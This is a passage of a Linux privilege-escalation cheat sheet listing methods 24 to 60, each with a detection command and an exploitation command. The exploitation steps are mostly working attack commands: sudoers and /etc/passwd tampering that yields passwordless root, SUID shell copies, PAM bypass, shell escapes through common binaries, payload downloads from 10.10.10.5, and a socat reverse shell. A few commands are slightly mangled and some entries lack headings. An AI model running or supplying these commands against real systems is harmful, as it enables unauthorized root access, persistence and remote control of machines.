- Tool: pam\_unix.so
- Why? Allows authentication bypass.

```
Q Detection:
```

cat /etc/pam.d/\*

# **Exploitation**:

Inject auth sufficient pam\_permit.so in PAM config.

## 25. Writable /etc/sudoers

- Tool: visudo
- Why? Modify sudoers to gain root.

### **Q** Detection:

ls -l /etc/sudoers

# Exploitation:

```
echo "user ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
sudo bash
```

## 26. LD\_LIBRARY\_PATH Hijack

- Tool: Custom .so
- Why? Load malicious libraries.

#### Q Detection:

```
env | grep LD_LIBRARY_PATH
```

```
gcc -fPIC -shared -o evil.so evil.c
LD_LIBRARY_PATH=. vulnerable_binary
```

## 27. strace Debugging with SUID

- Tool: strace
- Why? Attach to SUID processes.

#### Q Detection:

which strace

# Exploitation:

strace -o /dev/null suid\_binary

# 28. Writable init.d Scripts

- Tool: service
- Why? Modify init scripts for persistence.

#### **Q** Detection:

ls -l /etc/init.d/

# Exploitation:

echo "/bin/bash -i" >> /etc/init.d/vulnscript
service vulnscript restart

## 29. Ansible Misconfiguration

- Tool: ansible-playbook
- Why? Malicious playbook execution.

#### **Q** Detection:

ls -l /etc/ansible/

### 30. Writable Backup Scripts

- Tool: bash
- Why? Inject malicious code in backup scripts.

#### **Q** Detection:

```
ls -l /etc/backup.sh
```

## Exploitation:

```
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /etc/backup.sh
/etc/backup.sh
```

# Linux Privilege Escalation Methods - Batch 4

## 31. Suid Ruby Scripts

- Tool: ruby
- Why? Suid Ruby can spawn a root shell.

### Q Detection:

```
find / -perm -4000 -type f -name ruby 2>/dev/null
```

## Exploitation:

```
ruby -e 'exec "/bin/sh"'
```

## 32. Suid Node.js Binaries

- Tool: node
- Why? Suid Node allows JS code execution as root.

```
find / -perm -4000 -type f -name node 2>/dev/null
```

# Exploitation:

```
node -e 'require("child_process").exec("bash")'
```

# 33. Writable /etc/ld.so.preload

- Tool: Malicious .so
- Why? Load attacker library with root privileges.

### **Q** Detection:

```
ls -l /etc/ld.so.preload
```

## Exploitation:

```
echo "/tmp/evil.so" > /etc/ld.so.preload
gcc -fPIC -shared -o /tmp/evil.so evil.c
```

#### 34. GTFObins env Abuse

- Tool: env
- Why? Run root shell when env is SUID or via sudo.

#### **Q** Detection:

which env

## Exploitation:

sudo env /bin/bash

### 35. Exim CVE-2019-10149

- Tool: exim exploit
- Why? Exim RCE grants root access.

### **Q** Detection:

```
exim -bV
```

# Exploitation:

python3 exim\_rce.py target\_ip

# 36. Insecure PATH in Scripts

- Tool: Fake binary
- Why? Hijack script execution.

### Q Detection:

```
grep "PATH=" /etc/init.d/*
```

### **Exploitation:**

```
echo -e '#!/bin/bash\n/bin/bash' > /tmp/fakecp
chmod +x /tmp/fakecp
export PATH=/tmp:$PATH
/etc/init.d/vulnerable_script
```

### 37. Suid awk

- Tool: awk
- Why? Suid awk allows root commands.

### **Q** Detection:

```
find / -perm -4000 -type f -name awk 2>/dev/null
```

## Exploitation:

```
awk 'BEGIN {system("/bin/sh")}'
```

### 38. Writable rc.local

- Tool: rc.local
- Why? Payload executes on boot.

#### **Q** Detection:

```
ls -l /etc/rc.local
```

## **Exploitation:**

```
echo "/bin/bash -i" >> /etc/rc.local
reboot
```

### 39. Suid tee Command

- Tool: tee
- Why? Overwrite files as root.

#### **Q** Detection:

```
find / -perm -4000 -type f -name tee 2>/dev/null
```

## Exploitation:

```
echo 'root::0:0:root:/root:/bin/bash' | tee -a /etc/passwd
su root
```

## 40. Suid cp Command

- Tool: cp
- Why? Overwrite critical files.

```
find / -perm -4000 -type f -name cp 2>/dev/null
```

# Exploitation:

```
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
/tmp/rootbash -p
```

# **Linux Privilege Escalation Methods - Batch 5**

#### 41. Suid bash

- Tool: bash
- Why? Suid bash allows privilege escalation.

#### Q Detection:

```
find / -perm -4000 -type f -name bash 2>/dev/null
```

## Exploitation:

```
bash -p
```

## 42. Suid vi/vim

- Tool: vim
- Why? Run root shell via vim.

### Q Detection:

```
find / -perm -4000 -type f -name vim 2>/dev/null
```

## Exploitation:

```
vim -c ':!/bin/sh'
```

### 43. Suid less

- Tool: less
- Why? Shell escape via less.

### **Q** Detection:

```
find / -perm -4000 -type f -name less 2>/dev/null
```

## Exploitation:

```
less /etc/passwd
!bash
```

### 44. Suid man

- Tool: man
- Why? Execute root shell via man escape.

#### **Q** Detection:

```
find / -perm -4000 -type f -name man 2>/dev/null
```

## Exploitation:

```
man man
!sh
```

### 45. Suid nano

- Tool: nano
- Why? Shell escape using nano.

```
find / -perm -4000 -type f -name nano 2>/dev/null
```

# Exploitation:

```
nano
^R^X
reset; sh 1>&0 2>&0
```

# 46. Suid awk (command injection)

- Tool: awk
- Why? Execute root shell.

# Exploitation:

```
awk 'BEGIN {system("/bin/bash")}'
```

## 47. Suid find

- Tool: find
- Why? Execute commands as root.

### **Q** Detection:

```
find / -perm -4000 -type f -name find 2>/dev/null
```

```
find . -exec /bin/sh \; -quit
```

#### 48. Suid tar

- Tool: tar
- Why? Abuse tar checkpoint for command execution.

#### **Q** Detection:

```
find / -perm -4000 -type f -name tar 2>/dev/null
```

# Exploitation:

```
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

# 49. Suid rsync

- Tool: rsync
- Why? Execute shell with rsync.

#### **Q** Detection:

```
find / -perm -4000 -type f -name rsync 2>/dev/null
```

# Exploitation:

```
rsync -e 'sh -c /bin/sh' 127.0.0.1:/dev/null
```

## 50. Suid git

- Tool: git
- Why? Git hooks or pager abuse.

#### **Q** Detection:

```
find / -perm -4000 -type f -name git 2>/dev/null
```

```
PAGER='bash -c "exec bash"' git -p help
```

# Linux Privilege Escalation Methods - Batch 6

## 51. Suid tcpdump

- Tool: tcpdump
- Why? Post-rotate scripts can execute root commands.

#### Q Detection:

```
find / -perm -4000 -type f -name tcpdump 2>/dev/null
```

# Exploitation:

```
echo 'id' > /tmp/test.sh
chmod +x /tmp/test.sh
tcpdump -ln -i any -w /dev/null -z /tmp/test.sh
```

### 52. Suid gdb

- Tool: gdb
- Why? Spawn root shell via gdb.

#### Q Detection:

```
find / -perm -4000 -type f -name gdb 2>/dev/null
```

### Exploitation:

```
gdb -q -nx -ex '!sh' -ex quit
```

#### 53. Suid screen

- Tool: screen
- Why? CVE-2017-5618 can escalate privileges.

```
screen --version
```

# Exploitation:

```
screen -D -m -L /bin/sh
```

# 54. Suid nmap

- Tool: nmap
- Why? Old nmap interactive shell grants root.

#### **Q** Detection:

```
nmap --version
```

## Exploitation:

```
nmap --interactive
!sh
```

### 55. Suid curl

- Tool: curl
- Why? Overwrite files with remote payloads.

### **Q** Detection:

```
find / -perm -4000 -type f -name curl 2>/dev/null
```

```
curl file:///etc/passwd -o /tmp/evil
```

## 56. Suid wget

- Tool: wget
- Why? Download and overwrite files.

### **Q** Detection:

```
find / -perm -4000 -type f -name wget 2>/dev/null
```

# Exploitation:

```
wget http://10.10.10.5/rootbash -0 /tmp/rootbash
chmod +s /tmp/rootbash
/tmp/rootbash -p
```

#### 57. Suid aria2c

- Tool: aria2c
- Why? Download payloads as root.

### **Q** Detection:

```
find / -perm -4000 -type f -name aria2c 2>/dev/null
```

### Exploitation:

```
aria2c http://10.10.10.5/rootbash -d /tmp
chmod +s /tmp/rootbash
/tmp/rootbash -p
```

### 58. Suid cpio

- Tool: cpio
- Why? Extract overwriting root-owned files.

#### Detection:

```
find / -perm -4000 -type f -name cpio 2>/dev/null
```

# Exploitation:

```
echo 'id' > test
echo test | cpio -o --to-stdout | sh
```

# 59. rsyslog Misconfiguration

- Tool: rsyslogd
- Why? Inject commands into config.

#### **Q** Detection:

```
ps aux | grep rsyslog
```

# Exploitation:

```
echo ':omprog:|/bin/sh' > /etc/rsyslog.conf
service rsyslog restart
```

#### 60. Suid socat

- Tool: socat
- Why? Reverse shell as root.

#### **Q** Detection:

```
find / -perm -4000 -type f -name socat 2>/dev/null
```

```
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.5:4444
```